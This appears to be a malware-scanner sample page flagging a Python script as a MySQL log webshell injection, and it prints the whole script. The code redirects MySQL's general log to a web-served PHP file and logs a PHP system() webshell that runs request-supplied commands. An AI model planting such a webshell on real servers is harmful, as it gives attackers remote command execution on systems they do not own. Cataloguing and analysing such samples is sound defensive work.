an atomdrift project
Hostile 100% python Download

variant-mysql-global.py

MySQL log webshell injection

MySQL logging writes selected server codeMySQL query log targets server script
SHA-2561a863af182d809c1ffc6a9213655aed1ce47ff20cd34a51a356fab8eabb99ff3

Also flagged by https://www.arcticwolf.com/resources/category/blog/feed/ (AI-Driven Attacks Are Here. Five Steps CISOs Should Take Now).

Evidence

Executable MySQL log precedes PHP query lines 1–8
1import pymysql
2import os
3connection = pymysql.connect(host=os.environ['LAB_DB_HOST'], user=os.environ['LAB_DB_USER'], password=os.environ['LAB_DB_PASSWORD'])
4with connection.cursor() as cursor:
5 cursor.execute("SET @@global.general_log_file='/srv/http/health.php'")
6 cursor.execute("SET @@global.general_log=1")
7 cursor.execute("SELECT '<?php system($_REQUEST[\"task\"]); ?>'")
8 cursor.execute("SET GLOBAL general_log=OFF")

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.